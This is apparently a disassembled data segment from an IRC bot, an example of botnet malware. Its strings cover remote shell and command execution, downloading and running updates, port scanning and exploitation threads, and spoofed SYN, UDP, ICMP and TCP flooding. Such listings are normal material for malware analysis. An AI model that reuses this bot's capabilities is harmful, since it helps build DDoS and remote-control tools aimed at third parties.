db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_433A28 db 2 ; DATA XREF: seg000:loc_411F6Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_433A68 db 2 ; DATA XREF: seg000:loc_411F64o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 4
unk_433AA8 db 2 ; DATA XREF: seg000:00411F5Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 10h
unk_433AE0 db 2 ; DATA XREF: seg000:00411EDFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_8 db 'Failed to start server thread, error: <%d>.',0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_9 db 'Failed to start server thread, error: <%d>.',0
unk_433B78 db 2 ; DATA XREF: seg000:00411C45o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_0 db 'Already running.',0
align 4
dword_433BAC dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:loc_411C2Fo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_10 db ' Failed to start scan, port is invalid.',0
align 4
dword_433BF8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:00411B70o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
dword_433C74 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00411930o
dd 2029206Ch, 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_433CAC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00411917o
dd 2029206Ch, 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_433CE0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004118F7o
dd 2029206Ch, 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_433D14 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004118DEo
dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h
dd 2E73h
dword_433D40 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:loc_411860o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 10h
dword_433D80 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:00411859o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 4
dword_433DB8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:loc_411813o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_433DF4 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:00411809o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 10h
aAll db 'all',0 ; DATA XREF: seg000:004117EFo
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:00411764o
; seg000:loc_41256Fo
align 4
dword_433E44 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004116EEo
dd 2029206Ch, 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_433E7C db 2 ; DATA XREF: seg000:loc_4116D9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0
align 4
unk_433EB4 db 2 ; DATA XREF: seg000:004116CFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFileOpenedS db 'File opened: %s',0
dword_433EE4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004116A6o
dd 2029206Ch, 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_433F1C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: seg000:loc_41168Ao
dd 2029206Ch, 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
dword_433F58 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: seg000:0041165Co
dd 2029206Ch, 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
dword_433F88 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:loc_411628o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
dword_433FCC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0041161Eo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS db ' Process killed: %s',0
align 4
dword_434004 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:loc_4115C8o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 4
dword_43404C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:004115C1o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI db ' Process killed ID: %s',0
dword_434084 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: seg000:00411580o
dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h
dd 2E277325h, 0
dword_4340B4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:004114FBo
dd 2029206Ch, 2BBBB02h
aSendFileSUserS db ' Send File: %s, User: %s.',0
align 4
dword_4340EC dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: seg000:00411489o
dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_434114 db 2 ; DATA XREF: seg000:0041146Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start connection thread, error: <%d>.',0
dword_434164 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: seg000:004113FFo
dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h
dd 0
dword_434190 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
; DATA XREF: seg000:loc_411390o
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh
dd 2E746E65h, 0
unk_4341C0 db 2 ; DATA XREF: seg000:00411386o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Dh ; m
db 69h, 72h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_4341F0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:00411355o
dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h
dd 7325h
dword_43421C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:0041134Ao
dd 2029206Ch, 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 4
dword_43425C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041130Ao
dd 2029206Ch, 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 10h
dword_434290 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004112F6o
dd 2029206Ch, 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
dword_4342C8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00411271o
dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h
dd 2E73h
dword_4342F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00411236o
dd 2029206Ch, 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
dword_434338 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041121Ao
dd 2029206Ch, 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 10h
dword_434370 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00411198o
dd 2029206Ch, 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 10h
dword_4343A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041115Do
dd 2029206Ch, 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 10h
dword_4343D0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00411107o
dd 2029206Ch, 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 10h
dword_434400 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041109Fo
dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0
dword_434428 dd 54524150h, 0D732520h, 0Ah ; seg000:004118E9o
dword_434434 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00411036o
dd 2029206Ch, 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:00411028o
align 10h
dword_434470 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:00410FFFo
dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h
dd 7325203Ah, 0
dword_4344A0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:00410F94o
dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h
dd 25203A29h, 73h
dword_4344D0 dd 45444F4Dh, 732520hdword_4344D8 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:00410F0Ao
dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h
dd 25203A29h, 73h
dword_434508 dd 4B43494Eh, 732520h ; seg000:00411730o
dword_434510 dd 4E494F4Ah, 20732520h, 7325hdword_43451C dd 54524150h, 732520hdword_434524 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:loc_410E18o
dd 2029206Ch, 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_43456C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00410DE1o
dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah
dd 0
aRepeat db 'repeat',0 ; DATA XREF: seg000:00410D90o
align 10h
dword_4345A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:loc_410D48o
dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_4345C8 dd 25207325h, 73252073h, 73253A20h, 0 ; seg000:00410DBBo ...
unk_4345D8 db 2 ; DATA XREF: seg000:loc_410CB7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_434630 db 2 ; DATA XREF: seg000:00410CADo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 10h
unk_434680 db 2 ; DATA XREF: seg000:00410C3Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: seg000:00410B98o
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
db 2 dup(20h), 43h
db 6Fh ; o
db 2 dup(6Dh), 61h
db 6Eh ; n
db 64h, 73h, 3Ah
db 20h
db 25h, 73h, 0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 10h
unk_434730 db 2 ; DATA XREF: seg000:00410A98o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_12 db ' Failed to start search thread, error: <%d>.',0
align 10h
unk_434780 db 2 ; DATA XREF: seg000:00410A1Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_4347C4 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: seg000:loc_410980o
; seg000:00411587o
dd 29206C1Fh, 0BBBB0220h, 2002h
unk_4347E4 db 2 ; DATA XREF: seg000:0041096Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_43481C db 2 ; DATA XREF: seg000:loc_410949o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 4
unk_434868 db 2 ; DATA XREF: seg000:0041093Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_4348B4 db 2 ; DATA XREF: seg000:004108C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 4
unk_4348F4 db 2 ; DATA XREF: seg000:0041084Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_13 db ' Failed to start clone thread, error: <%d>.',0
unk_434940 db 2 ; DATA XREF: seg000:004107DFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_434984 db 2 ; DATA XREF: seg000:00410757o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_4349D0 db 2 ; DATA XREF: seg000:004106DFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
dword_434A14 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: seg000:0041064Ao
dd 2029206Ch, 2BBBB02h
aFailedToSta_15 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_434A60 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: seg000:004105D0o
dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_434AA0 db 2 ; DATA XREF: seg000:00410560o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_434AF4 db 2 ; DATA XREF: seg000:004104F1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_434B34 db 2 ; DATA XREF: seg000:00410422o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
unk_434B88 db 2 ; DATA XREF: seg000:004103B3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 4
unk_434BD8 db 2 ; DATA XREF: seg000:00410328o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_434C28 db 2 ; DATA XREF: seg000:004102B9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: seg000:00410235o
align 4
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: seg000:00410138o
align 4
dword_434C98 dd 54434101h, 204E4F49h, 17325h ; seg000:004110E8o
dword_434CA4 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0041004Bo
; seg000:00411BE1o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_17 db ' Failed to start scan thread, error: <%d>.',0
dword_434CF0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040FFDCo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: seg000:0040FFB1o
; seg000:00411B45o
align 4
aRandom_0 db 'Random',0 ; DATA XREF: seg000:0040FFAAo
; seg000:00411B3Eo
align 4
dword_434D7C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040FE6Co
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_18 db ' Failed to start scan, no IP specified.',0
align 4
dword_434DC8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040FD25o
; seg000:00411989o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 4
dword_434E1C dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: seg000:0040FCF4o
dd 2029206Ch, 2BBBB02h
aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_434E68 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: seg000:0040FC85o
dd 2029206Ch, 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040FBBEo
align 4
unk_434EDC db 2 ; DATA XREF: seg000:0040FBA9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_20 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_434F28 db 2 ; DATA XREF: seg000:0040FB3Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_434F84 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:loc_40FAA1o
dd 2029206Ch, 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 10h
dword_434FD0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040FA97o
dd 2029206Ch, 2BBBB02h
aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_43501C dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040FA1Do
dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: seg000:0040FA0Do
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:0040FA06o
dword_435074 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040F971o
dd 2029206Ch, 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
